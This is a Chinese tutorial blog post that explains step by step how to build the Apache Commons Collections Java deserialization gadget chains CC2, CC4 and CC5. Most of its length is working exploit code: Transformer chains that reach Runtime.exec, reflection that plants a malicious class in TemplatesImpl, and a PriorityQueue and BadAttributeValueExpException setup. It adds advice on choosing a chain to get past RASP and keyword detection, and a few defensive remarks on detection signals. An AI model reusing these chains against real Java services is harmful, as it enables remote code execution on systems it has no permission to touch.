news 2026/9/29 15:53:17

手搓Java反序列化Gadget链:CC2、CC4、CC5原理与构造详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
手搓Java反序列化Gadget链:CC2、CC4、CC5原理与构造详解

1. 先把Gadget链这回事说透

Java反序列化攻防里,最劝退新人的不是反序列化本身,而是Gadget链那堆绕来绕去的类名。CC2、CC4、CC5这些名字,懂的人觉得就几行代码的事,不懂的人看ysoserial源码像看天书。我见过不少人拿着现成POC跑通一次就完事,真到要自己写一条链的时候,连Transformer是什么、反射在哪里、成员变量改来改去在干嘛都说不清楚。这篇文章我就把CC2、CC4、CC5三条链全部手搓一遍,从反射调用到成员变量修改,从PriorityQueue到BadAttributeValueExpException,把每一条链的每一环都拆开讲清楚。适合正在学Java安全、看过一些POC但自己写不出来的朋友,也适合想搞懂漏洞原理的防御方。

抛开那一堆类名,Gadget链的本质就是一条从反序列化入口到危险方法的函数调用路径。Java反序列化时,ObjectInputStream.readObject会自动调用目标类的readObject方法,这个行为是写死在JDK里的。攻击者要做的事情,就是构造一份序列化数据,让readObject在执行过程中被一步步引导到Runtime.exec或者TemplatesImpl.newTransformer这类危险调用上。整个构造过程就是"找入口、找桥、找终点"三个步骤,CC2、CC4、CC5虽然名字不同,骨架完全一样。

1.1 反序列化入口:漏洞的起点不是命令执行,而是readObject

很多人刚接触反序列化时有个误区,以为漏洞点是某个代码里的exec方法,其实不是。真正承载利用链的是反序列化时自动执行的那段逻辑。ObjectInputStream在反序列化时会先读取对象头,再根据类描述信息创建对象并调用对应类的readObject。这个配置过程对攻击者是透明的,传什么类型的数据,就触发什么类的readObject。所以入口类选择很关键,常见的有PriorityQueue.readObject、BadAttributeValueExpException.readObject、HashMap.readObject等,这些类的readObject内部都会直接或间接地对可控对象调用方法,为利用链提供了天然起点。

CC链全称是CommonsCollections链,利用的是Apache Commons Collections库里的Transformer机制。Transformer接口定义很简单,就一个convert方法,输入一个对象输出一个对象,任何实现该接口的类都可以看成一个黑盒函数。攻击者的思路就是把这些黑盒串起来:上一个的输出作为下一个的输入,最终输出一个命令执行。这种串起来的东西叫ChainedTransformer,内部维护一个Transformer数组,执行时逐个调用。这一机制本身很无辜,但被组合之后就能完成一系列反射调用,最终构成任意代码执行。

1.2 链的三段式:入口、中间桥、危险终点

我拿到任何一条Gadget链,都会先拆成三段看:

  • 入口点:反序列化时会自动调用的方法。常见的有PriorityQueue.readObject、BadAttributeValueExpException.readObject等。
  • 中间桥:负责把readObject里的动作导向Transformer调用点。最常见的就是TransformingComparator.compare、TiedMapEntry.toString这类"无意识调用"。
  • 危险终点:真正造成危害的类。要么是Runtime.exec直接命令执行,要么是TemplatesImpl.newTransformer加载字节码。

这个"三段式"非常有用。我后面讲CC2、CC4、CC5,都是按这个框架来拆。你会发现它们只是入口和桥不同,底层的Transformer机制是通用的。一旦理解这条主线,再遇到CB链、ROME链、Fastjson的JdbcRowSetImpl链,都能一眼看穿套路。

1.3 序列化的隐藏特性:构造函数不执行

手搓链之前还必须知道一个Java序列化的隐藏特性——反序列化创建对象时不调用构造函数。这就是为什么很多利用链里的恶意逻辑要放在readObject、静态块或者某个方法里,而不是构造函数里。比如TemplatesImpl加载恶意字节码时,目标类会被newInstance,虽然构造函数也会执行,但更稳定的是把命令写在静态块中。理解了这一点,你就明白为什么很多Evil类长着两个空空的transform方法,真正的核心逻辑全在static块里。

2. 反射调用与成员变量修改:手搓链的两个基本功

新人在手搓Gadget链的时候,最头疼的其实不是链子设计本身,而是那堆反射代码。为什么要反射?因为很多关键方法、字段都是private的,你没法直接obj.field访问,只能用反射强行操作。为什么要改成员变量?因为一个对象在正常构造时,很多字段已经被赋值了,但你要让它变成攻击链的一部分,必须把某个字段换成恶意数据。比如把PriorityQueue内部的queue数组替换成恶意对象数组,把TemplatesImpl的_bytecodes塞进自己的字节码。这两个基本功不扎实,后面每条链都会磕磕绊绊。

2.1 反射三件套:拿到类、拿到方法、invoke

在任何一条CC链里,你最终都会看到类似这样的代码:

Class<?> clazz = Class.forName("java.lang.Runtime"); Method getRuntime = clazz.getMethod("getRuntime"); Method exec = clazz.getMethod("exec", String.class); Object runtime = getRuntime.invoke(null); exec.invoke(runtime, "calc");

这里有几个特别容易忽略的细节。第一,getRuntime是静态方法,invoke的第一个参数传null。第二,exec是实例方法,第一个参数要传runtime对象。第三,getMethod只能拿public方法,如果想拿private方法,得用getDeclaredMethod,然后setAccessible(true)。第四,getMethod和getDeclaredMethod的第二个参数是参数类型数组,用来区分重载方法,很多人写new Class[]{String.class}时漏掉了这个设计意图,在遇到同名重载方法时就会拿错方法。

在链子里,我们不直接写这一大坨反射逻辑,而是把它封装成InvokerTransformer。这个类维护三个配置:方法名、参数类型数组、参数值数组。当它收到输入对象时,会按配置反射调用。于是Runtime链就可以写成:

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})

注意这里调用的是Class类上的getMethod方法,所以参数是两种类型:String.class和Class[].class。这一步经常写错,写成new Class[]{String.class}就完全不对了,因为Class.getMethod的签名是getMethod(String, Class<?>...),第二参数是可变长Class数组,反射拿Method时要用new Class[]{String.class, Class[].class}描述。这个细节我反复强调,因为三条链里CC2和CC5都会用到。

2.2 setAccessible与成员变量的修改时机

反射修改成员变量是手搓链的另一半工作量。找一个最常见的例子:TemplatesImpl的_bytecodes字段是private的、没有setter方法,只能反射改:

Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field bytecodes = clazz.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][]{evilClassBytes});

为什么不直接构造塞进去?因为TemplatesImpl经过JDK内部一系列初始化,默认的_bytecodes就是null。你不反射改,newTransformer加载时找不到字节码,链就断了。类似的还有_name字段,它必须是非null字符串,否则newTransformer会直接抛NullPointerException;_tfactory字段也得手动塞一个TransformerFactoryImpl实例,它负责后续生成真正的Transformer对象。

这里有一个高频踩坑点:getDeclaredField只能获取本类声明的字段,不能获取父类字段。如果目标字段定义在父类里,你得先clazz.getSuperclass()拿到父类Class,再getDeclaredField。很多链里要改的字段在抽象基类上,直接在当前类上取就会抛NoSuchFieldException。我自己的习惯是,反射之前先调用getDeclaredFields()把本类和父类的字段名全部打印出来,确认字段到底在哪个类上,再动手写代码。这个习惯帮我省了很多排查时间。

另外还有一个性能和实践上的细节:setAccessible(true)并不是银弹。对于final实例字段,现代JDK在反射set时有时会遇到问题,尤其是JDK 17之后对强封装做了限制,直接反射set private final字段可能报InaccessibleObjectException。虽然大多数实验环境还在JDK 8,但你如果发现自己set了字段但反序列化后没生效,就要考虑是不是final字段被JIT优化、内联了。后续我会讲一种更稳的做法:不去改容器类的final字段,而是去改容器内部持有的Transformer对象的字段。

2.3 两条危险终点路线:Runtime.exec与TemplatesImpl.newTransformer

搞清楚了反射,还要选终点。我习惯把终点分成两条路线:Runtime线和TemplatesImpl线。

对比维度Runtime链TemplatesImpl链
最终调用Runtime.exec(String)TemplatesImpl.newTransformer()
命令效果直接执行系统命令加载并实例化字节码
对命令字符串的依赖强,特殊字符容易出错不依赖命令字符串
利用前置条件基本无需要可控字节码,JDK自带Xalan类可用
常见适配链CC1、CC5CC2、CC3、CC4

Runtime链的好处是短,反射两次就能到exec。坏处是执行命令时可能受到目标环境限制,比如无法执行带管道的复杂命令、目标机器上根本没有calc这玩意儿,或者命令拦截规则盯得很紧。TemplatesImpl链的好处是执行任意字节码,可以做内存马、写webshell、加密反弹等更高级的操作,坏处是构造前置条件多,需要先编译一个恶意Java类,再反射改TemplatesImpl的三个字段。实际操作中,很多时候TemplatesImpl链的价值远大于Runtime链,因为它绕过了"命令字符串检测"这一层。

2.4 再说"类传入":链里的参数传递协议

标题里有个词叫"类传入",这个点很容易被忽略。Gadget链能成立,本质上靠的是对象在方法之间被传来传去。这里有两种典型玩法:一种是传值,比如ConstantTransformer(Runtime.class),它把Runtime这个Class对象当作固定输出,不管输入是什么都返回这个Class;另一种是传方法调用参数,比如InvokerTransformer配置的方法参数数组,就是要把什么类型的参数传给目标方法。这两种"传入"组合起来,就形成了链上的参数传递协议。

举个例子,CC5链里的Transformer数组是这样传的:

new ConstantTransformer(Runtime.class), // 把 Runtime.class 传出去 new InvokerTransformer("getMethod", ...), // 把 Runtime.class 传进去,拿 getMethod new InvokerTransformer("invoke", ...), // 把 Method 传进去,执行 invoke,拿到 Runtime 实例 new InvokerTransformer("exec", ...) // 把 Runtime 实例传进去,执行 exec

每一步的输出都恰好是下一步的输入类型。这就是为什么这些类能串成一条链,你换成别的方法签名可能就ClassCastException。理解"类传入"这个协议,你就能自由设计自己的Transformer链,而不只是照着POC抄。

3. CC2链手搓:PriorityQueue + TransformingComparator + InvokerTransformer

这条链在安全圈里被讲得最多,因为它短、清楚、容易复现。我建议所有学Gadget链的人都从CC2入手,先跑通一次,再去看CC4、CC5,体感会很不一样。

3.1 完整调用链:从compare到exec

CC2的入口是PriorityQueue。这个优先队列的readObject在反序列化时会调用heapify,然后走siftDownUsingComparator,再调用构造时传入的Comparator的compare方法。攻击者只要让这个Comparator是TransformingComparator,compare内部就会调用它持有的Transformer链。

完整调用链长这样:

PriorityQueue.readObject() -> PriorityQueue.heapify() -> PriorityQueue.siftDownUsingComparator() -> TransformingComparator.compare() -> ChainedTransformer.transform() -> InvokerTransformer.transform() -> Runtime.exec("calc")

从代码量看,PriorityQueue到compare又远又多,但每一步都只是单纯的数组比较逻辑,没有额外校验。这正是我们想要的。

3.2 先搭Transformer链:四步反射调用Runtime

CC2的第一步是构造Transformer数组,把Runtime调用拆成四段:

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chain = new ChainedTransformer(transformers);

第一段ConstantTransformer把Runtime.class固定为输出;第二段reflect getMethod,参数是方法名和空Class数组;第三段reflect invoke,因为getMethod返回的Method.invoke签名是invoke(Object obj, Object... args),而getRuntime是静态方法,所以第一个obj传null;第四段reflect exec,把字符串"calc"传给Runtime实例。

这里再强调一次,真正的难点在第二段和第三段的参数类型描述。getMethod的反射目标是Class.getMethod,所以要写new Class[]{String.class, Class[].class};invoke的反射目标是Method.invoke,所以要写new Class[]{Object.class, Object[].class},因为可变参数在反射看来就是一个Object数组。这个细节写错过一次,后面就再也不会忘了。

3.3 组装PriorityQueue:先拆危险组件,打包后再装回

直接new一个PriorityQueue并传入恶意comparator是不行的。为什么?因为你在add元素的时候,PriorityQueue内部会立即调用compare来维护堆结构,恶意逻辑在构造阶段就触发了。这不是我们要的效果——我们想要的是反序列化时才触发,而不是代码运行到一半就弹计算器,序列化出来的数据也可能不对。

正确做法:先用无害的comparator构造对象,add完元素,再通过反射把恶意comparator和queue数组换进去:

PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator(new ConstantTransformer(1))); queue.add("1"); queue.add("1"); Field comparatorField = PriorityQueue.class.getDeclaredField("comparator"); comparatorField.setAccessible(true); comparatorField.set(queue, new TransformingComparator(chain)); Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(queue, new Object[]{"1", "1"});

注意PriorityQueue的comparator字段是final的,反射去set在JDK 8下通常能成功,这是实际验证过的做法。如果你担心final字段设置不生效,可以换一种更稳的思路:构造时传入一个TransformingComparator(无害transformer),add完元素后,反射修改这个TransformingComparator内部的transformer字段,把它从ConstantTransformer(1)换成恶意chain。这样完全没有碰PriorityQueue的final comparator字段,成功率更高。

Field transformerField = TransformingComparator.class.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(comparator, chain);

两种方式都行。我推荐第二种,因为"改内部对象字段,而不是改容器final字段"是我在遇到final陷阱后养成的习惯,后面遇到其他链也通用。

3.4 queue数组与size的一致性

序列化保存的是PriorityQueue的queue数组和size。反序列化readObject会先把size读出来,然后依次读元素填充queue数组,最后调用heapify。反射替换queue数组时,必须保证数组长度和size匹配。如果数组长度和size不一致,siftDown检查时会用size做边界判断,可能导致越界或者跳过部分元素,最终反序列化直接ArrayIndexOutOfBoundsException。

我一般这样处理:先看size有多大。上面代码add了两次元素,size为2,所以我替换的queue数组长度也是2,元素是两个相同对象即可。heapify在反序列化时会重建堆结构,在重建过程中一定会调用compare,于是恶意链启动。元素是"1"还是恶意对象其实不重要,关键是compare的第一个参数和第二个参数都会被传给Transformer链,而我们用的是ConstantTransformer开头,对输入值不敏感。

3.5 序列化与版本要求

CC2这条链对commons-collections版本有要求。TransformingComparator在commons-collections 4.x里实现了Serializable,可以正常参与序列化;而在3.2.1里,TransformingComparator本身没有实现Serializable接口,直接序列化会抛java.io.NotSerializableException。所以网上说CC2一般用于4.x就是这个原因。

你在自己项目里复现时,建议直接用Maven引入commons-collections 4.0或者4.4,JDK用8u202或更早的8版本。别用太新的JDK,不然BadAttributeValueExpException、TemplatesImpl这些类的模块导出和内部访问限制会让你怀疑人生。我自己的实验环境就是JDK 8u202 + commons-collections 4.0,跑CC2、CC4都非常稳。

4. CC4链手搓:把TemplatesImpl塞进PriorityQueue

CC4在入口和桥上跟CC2长得几乎一样,都是PriorityQueue + TransformingComparator。差别主要在危险终点:CC2直接用InvokerTransformer反射Runtime,CC4则先把TemplatesImpl作为固定对象传入链中,再用InvokerTransformer调用它的newTransformer方法,由newTransformer加载字节码执行任意Java代码。这条链在手搓时最大的变化就是要准备恶意类字节码,还得反射设置TemplatesImpl的成员变量。

4.1 为什么要有CC4:从命令执行到字节码加载

想想实际场景。很多防护系统不会只盯着exec字符串,但更早的一批检测规则确实会把注意力放在Runtime.exec上,毕竟2015年之前最流行的CC链都是往这个方向打的。CC4把终点换成TemplatesImpl之后,整个链里看不到exec字符串,也看不到Runtime类名,前期很多基于关键字的检测就不容易直接匹配到。

更重要的是通用性。TemplatesImpl是JDK自带的类,位于com.sun.org.apache.xalan.internal.xsltc.trax包下,只要目标JDK没有裁剪模块,这条链就天然可用。相比之下,Runtime.exec只能执行系统命令,想干点更复杂的事(比如写内存马)就抓瞎了。字节码加载是一条比命令执行更通用的路。

4.2 准备恶意类字节码

要跑TemplatesImpl链,先得有一个恶意Java类。这个类必须继承AbstractTranslet,因为TemplatesImpl在defineTransletClasses的时候会检查加载进来的类是不是AbstractTranslet的子类,不满足直接抛异常。最简单的恶意类长这样:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception ignored) {} } @Override public void transform(DOM document, SerializationHandler[] handlers) {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }

为什么用静态块?因为TemplatesImpl加载这个类后,会对它做newInstance创建实例,new的过程中静态块一定执行。你写构造函数也行,但静态块更稳定,不需要处理构造参数。两个空的transform方法是为了满足抽象方法约束,TemplatesImpl不关心transform具体做了什么,它只在乎类能不能被加载实例化。

编译好后,把这个Evil.class文件读成byte[],接下来的工作就是把byte[]塞进目标TemplatesImpl对象。

4.3 反射设置TemplatesImpl的三个关键字段

TemplatesImpl有三个字段是必须设置的,缺一个链都会断:

byte[] evilBytes = ...; // Evil.class 的内容 Class<?> tplClazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); TemplatesImpl templates = new TemplatesImpl(); Field bytecodesField = tplClazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{evilBytes}); Field nameField = tplClazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "Evil"); Field tfactoryField = tplClazz.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());

_bytecodes是byte[][],所以哪怕只有一个恶意类,也要用双层数组包一层。_name是String类型,必须非null,随便给个非空字符串就行。_tfactory是TransformerFactoryImpl类型,负责后续生成Transformer。如果不设置_tfactory,newTransformer内部用到时会得到null,最终空指针。

如果你用的JDK比较新,可能会出现Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")直接失败的状况,因为模块系统默认没有导出这个包。解决办法是加JVM启动参数:

--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED

不过说真的,研究老Gadget链最省心的方式就是老老实实用JDK 8。

4.4 组装链并替换PriorityQueue内部状态

恶意字节码准备好了,接下来就回到熟悉的CC2套路:

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}) }; ChainedTransformer chain = new ChainedTransformer(transformers); TransformingComparator evilComparator = new TransformingComparator(chain); PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator(new ConstantTransformer(1))); queue.add("1"); queue.add("1"); Field transformerField = TransformingComparator.class.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(((TransformingComparator) queue.comparator()), chain); Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(queue, new Object[]{templates, templates});

因为我前面说了,推荐改TransformingComparator内部的transformer字段而不是动PriorityQueue的final comparator,所以这里先拿到queue里那个无害的TransformingComparator实例,再把它的transformer字段替换成恶意chain。queue数组替换成两个templates对象,这样heapify调用compare时,传入的元素就是templates,chain里的ConstantTransformer会把它原样返回,然后InvokerTransformer调用newTransformer,加载字节码。

4.5 这条链的实际效果

反序列化时,整个动作链路是:PriorityQueue.readObject -> heapify -> siftDown -> compare -> chain.transform(templates) -> ConstantTransformer返回templates -> InvokerTransformer调用templates.newTransformer() -> 恶意类被加载实例化 -> 静态块执行命令。整个过程没有Runtime.exec出现在任何Transformer配置里,命令字符串字段完全不存在,只在远程的恶意字节码里才有。

这也是我一直觉得TemplatesImpl链比Runtime链优雅的原因——攻击载荷的主体是字节码,而不是命令字符串,能做文章的空间大得多。防御方要检测这种链,靠关键字是没什么效果的,得从类路径、类加载行为、反序列化对象图特征多个维度下手。

5. CC5链手搓:从BadAttributeValueExpException的toString走进去

前两条链都盯着PriorityQueue的compare,CC5换了一个完全不同的入口:javax.management.BadAttributeValueExpException。这个类的readObject会读取一个叫val的字段,并对它调用toString。于是链的核心就变成:怎么让一个对象的toString最终触发Transformer链?LazyMap + TiedMapEntry就是干这个的。

5.1 入口类与整条调用链

BadAttributeValueExpException的readObject会读取val字段,这个字段的值不是String类型的话,会走val.toString()。我们把这个val设置成一个TiedMapEntry对象。TiedMapEntry的toString方法是这样的:

public String toString() { return getValue() + " - " + getKey(); }

getValue方法会调用内部持有的map.get(key)。如果我们把map设置成LazyMap,而LazyMap的get方法在没有对应key时会调用factory.transform(key),那整条链就通了。

完整调用链:

BadAttributeValueExpException.readObject() -> val.toString() -> TiedMapEntry.toString() -> TiedMapEntry.getValue() -> LazyMap.get("key") -> ChainedTransformer.transform("key") -> ConstantTransformer(Runtime.class) -> InvokerTransformer("getMethod", ...) -> InvokerTransformer("invoke", null) -> InvokerTransformer("exec", "calc")

5.2 LazyMap的触发条件:key必须不存在

LazyMap是commons-collections里的一个Map装饰器,构造时接收一个普通的Map和一个Transformer factory。它的get方法实现有这样一个逻辑:

public Object get(Object key) { if (!map.containsKey(key)) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }

只有key在map中不存在时,factory才会被触发。因此构造LazyMap时,一定要传一个空的HashMap作为底层map,key传一个新建出来的简单字符串。如果你不小心先往map里put了这个key,整个链就不会触发。这个坑我踩过一次,排查了半天,最后翻源码才发现LazyMap的get只有在key不存在时才会向factory要值。

5.3 TiedMapEntry与LazyMap如何咬合

TiedMapEntry的构造方法接收两个参数:一个Map和一个key。它内部就两个字段,构造时绑定。调用toString时先调用getValue,getValue再去map.get(key)。这里有一个很有意思的点:TiedMapEntry被toString调用时,它并不知道自己持有的map是不是LazyMap,它只调用map.get。正是这种"无意识调用"让不同库的类能够互相桥接,形成通用Gadget链。

CC5的hand-rolled代码写起来其实很短:

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chain = new ChainedTransformer(transformers); LazyMap lazyMap = LazyMap.decorate(new HashMap<>(), chain); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); BadAttributeValueExpException exception = new BadAttributeValueExpException(null); Field valField = exception.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(exception, tiedMapEntry);

注意构造BadAttributeValueExpException(null)只是为了先建一个合法对象,真正的恶意val是用反射塞进去的。valField是private字段,getDeclaredField之后setAccessible(true),再把tiedMapEntry写进去。这段代码跑通后,序列化出去,反序列化时就会弹出计算器。

5.4 JDK版本差异是CC5最大的坑

BadAttributeValueExpException的readObject实现,在不同JDK版本里行为不一样。以JDK 8为例,早期版本val字段是non-transient,直接序列化就能带上;后来官方把val改成了transient,readObject改为通过GetField读取,再对读出来的对象做处理。而且处理逻辑也分了好几版,有的版本里只有在System.getSecurityManager()返回null时才走toString,有的版本则对val的类型有白名单判断,不是所有对象都允许调用toString。

所以你在本地复现CC5时,如果反序列化后没反应,第一件事别改链,先去看当前JDK里BadAttributeValueExpException的字节码:

javap -c javax.management.BadAttributeValueExpException

看readObject里到底怎么处理val,是直接toString还是有类型判断。这个排查方法非常笨但非常有效。我自己就是在JDK 8u202环境上通过了CC5,换到更高版本JDK后状态就变了,因为在更高版本里val字段的处理逻辑更严格。

5.5 CC5的版本兼容范围

CC5对commons-collections的版本要求比CC2宽松很多,因为LazyMap、TiedMapEntry、ChainedTransformer、ConstantTransformer、InvokerTransformer这些类在commons-collections 3.x和4.x里都存在,而且行为一致。所以在3.2.1上CC5能跑,在4.x上也能跑。如果你遇到一个目标环境用的是低版本commons-collections,没法跑CC2,CC5往往是个好备选。

6. 三条链横向对比与实战选型

三条链都手搓完之后,我把它们放在一起对比一下,你在实际研究时就能快速判断选哪条。

对比项CC2CC4CC5
入口类PriorityQueuePriorityQueueBadAttributeValueExpException
中间桥TransformingComparator.compareTransformingComparator.compareTiedMapEntry.toString
链尾终点InvokerTransformer -> Runtime.execInvokerTransformer -> TemplatesImpl.newTransformerInvokerTransformer -> Runtime.exec
CommonsCollections版本4.x4.x3.x / 4.x
命令载荷形式命令字符串字节码命令字符串
构造复杂度低高中
常见检测关注点PriorityQueue、InvokerTransformerPriorityQueue、TemplatesImpl、newTransformerBadAttributeValueExpException、LazyMap

从研究学习的角度,我建议CC2 -> CC5 -> CC4这个顺序。CC2最短,能帮你熟悉PriorityQueue和InvokerTransformer的反射写法;CC5引入了一条全新的入口路线,让你看到"不是只有comparator才能当桥";CC4则需要你掌握TemplatesImpl字节码链的构造,这是后面搞内存马和更复杂利用的基石。

从实战利用角度,选链要看目标环境:

  • 如果只是验证反序列化漏洞是否存在,优先用CC2,代码量最小、依赖最明确。
  • 如果目标环境对Runtime.exec做了限制,或者有RASP在监听Runtime调用,马上切换到TemplatesImpl路线,CC4是自然选择。
  • 如果目标用的是commons-collections 3.x,而且你希望入口点不要太扎眼,CC5比CC2合适。
  • 如果目标JDK版本较新,CC5的触发条件会受到BadAttributeValueExpException版本影响,需要先确认readObject行为再决定。

有一点我想额外说清楚:研究Gadget链不是单纯为了构造POC,对防御方来说,理解这些链的构造方式才知道该在哪些点埋检测。比如CC2和CC4都绕不开PriorityQueue,那么反序列化流量里频繁出现这个类就值得警觉;CC5绕不开BadAttributeValueExpException和LazyMap,那么这两个类同时出现在对象图里也是一个强信号。只有把链拆到这种颗粒度,攻防双方才算真正理解了反序列化漏洞。

7. 手搓Gadget链过程中最常见的坑

最后分享一下我实际调试时踩过次数最多的坑,每一个都真实发生过。

7.1 NoSuchFieldException / NoSuchMethodException

反射拿不到字段或方法,百分之九十九是类路径或JDK版本的问题。比如在JDK 9之后,com.sun.org.apache.xalan.internal.xsltc.trax这个包默认不导出,Class.forName都不一定能过。解决办法是加--add-exports启动参数,或者干脆用JDK 8做实验,这是最省事的。

如果字段来自父类,记得先getSuperclass()。我在反射BadAttributeValueExpException的val字段时就踩过,因为val就在本类,所以直接getDeclaredField就拿到了。但另一些链里要改的字段在某个抽象基类上,不先getSuperclass就会NoSuchFieldException。排查方法很简单:反射之前打印一下clazz.getDeclaredFields()和clazz.getSuperclass().getDeclaredFields(),一眼就能看到字段归属。

7.2 提前触发:本地构造阶段就弹了计算器

这是新手最容易遇到的问题。如果你直接new PriorityQueue(2, evilComparator)然后add,add会调用siftUp,siftUp会调用compare,恶意逻辑在构造阶段就执行了。有人会问,提前执行有什么问题?问题大了。我们的目的是生成一份序列化数据交给目标程序反序列化,本地构造只是"打包"过程。如果打包时执行了命令,本地会先弹一次计算器,更糟糕的是某些命令有副作用,不能执行两次,而且对象在构造到一半时状态已经被污染了,序列化出去的对象可能根本不是想要的样子。

解决方案就是我前面反复说的:先摘除恶意组件,正常构造,序列化前再用反射把恶意组件装回去。这个"打包再装填"的思路贯穿所有Gadget链的构造。

7.3 反序列化时不报错,但也没执行

最磨人的就是这种静默失败。常见原因有几个:

  • TemplatesImpl链的_name为null,newTransformer抛NullPointerException,但异常被某些readObject逻辑吞掉了。
  • LazyMap的底层map里已经有目标key,导致factory根本没被调用。
  • ChainedTransformer里某一步返回类型和预期不符,中间抛出ClassCastException。
  • InvokerTransformer的方法名写错,反射调用时抛NoSuchMethodException。

这种情况下别瞎猜。写一个自定义的ObjectInputStream,在resolveClass里打印类名,看反序列化到底走到了哪一步:

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("poc.ser")) { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { System.out.println("class: " + desc.getName()); return super.resolveClass(desc); } };

每读一个类都会打印类名,你能清楚地看到对象图构建到哪里断掉的。这个方法我用了很多年,比盲试强太多。比如我遇到过反序列化连TemplatesImpl都没读到就停了,那肯定是入口类的readObject在某个环节提前返回了,跟Transformer链本身没关系。

7.4 serialVersionUID不匹配导致InvalidClassException

本地序列化、远程反序列化,两个环境的commons-collections版本不同,很可能报InvalidClassException。解决办法是让实验环境和目标环境用一致的依赖版本。研究阶段我通常把commons-collections固定在一个版本,所有POC工程都引用这个版本,避免这种低级问题干扰。

7.5 final字段反射set之后不生效

这个问题在前面提过,碰上JDK版本较新或者JIT做了优化,反射set final字段可能不生效。我的处理习惯是:能改内部对象字段就不改容器final字段;必须改final字段时,在反射set之后再去读一下,验证是否真的写进去了:

Object value = comparatorField.get(queue); if (value != evilComparator) { throw new IllegalStateException("reflect set comparator failed"); }

这个小小的验证逻辑,帮我避免了很多"本地能弹、远程不弹"的诡异情况。反射set不是百分百可靠的,写完就验证是一个好习惯。

最后说点个人体会

手搓Gadget链这件事,第一次做会觉得很玄,代码里全是反射、字段名、版本判断。但当你把CC2、CC4、CC5三条链都自己写一遍之后,就会形成一种肌肉记忆:先找入口,再找桥,最后找危险终点。以后再遇到CB链、ROME链、Fastjson的TemplatesImpl链,其实都是同一个套路,区别只是入口和桥换了个类而已。

我个人在实际调试中的体会是,环境版本比链子本身重要得多。很多新手卡在一个链上两三天,最后发现只是JDK小版本差异。建议专门准备一个固定的JDK 8u202和commons-collections对应版本的实验环境,把每条链的最小可用代码存成独立工程,之后做研究就是"换入口、换桥、换终点"的排列组合。这一步跨过去,Java反序列化攻防就算真的入门了。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/29 15:53:17

纯Shell+curl实现SeaweedFS S3兼容接口签名访问与脚本封装

SeaweedFS跑起来之后&#xff0c;最爽的其实是那套S3兼容接口。内部工具链直接用awscli或者各语言SDK就能对接&#xff0c;可总有那么些场景绕不开手工构造签名&#xff1a;最小化部署的容器里没有Python没有Go&#xff0c;堡垒机上只有curl和openssl&#xff0c;或者要写一个跨…

作者头像 李华
网站建设 2026/9/29 15:52:54

计算机网络面试题核心考点:从三次握手到拥塞控制全解析

“今天面试又被问TCP了&#xff0c;而且一上来就是‘三次握手为什么不是两次’。”如果你刚参加过几场技术面试&#xff0c;多半对这类问题不陌生。计算机网络是程序员面试绕不开的硬骨头——无论你是校招刚起步、社招要进阶&#xff0c;还是考研复试准备机试和综合面试&#x…

作者头像 李华
网站建设 2026/9/29 15:52:54

Circle混沌映射与反向学习改进鲸鱼算法:原理、Python实现与对比

做群体智能优化这几年&#xff0c;我自己复现过的算法少说也有七八种&#xff0c;鲸鱼算法&#xff08;WOA&#xff09;是其中之一&#xff0c;也是我反复回头看的一个。它的机制简单、参数不多&#xff0c;但有个老毛病&#xff1a;收敛速度快是快&#xff0c;可一到高维多峰函…

作者头像 李华
网站建设 2026/9/29 15:52:25

京东h5st签名逆向:webpack模块化还原与Node.js实战

简介&#xff1a;一份专注某东平台webpack方式H5ST逆向破解的实战代码包&#xff0c;主要面向爬虫工程师、前端安全研究者及逆向爱好者。资源围绕webpack模块化打包的H5ST生成逻辑&#xff0c;演示如何结合Chrome DevTools分析请求、定位加密入口&#xff0c;并梳理webpack模块…

作者头像 李华
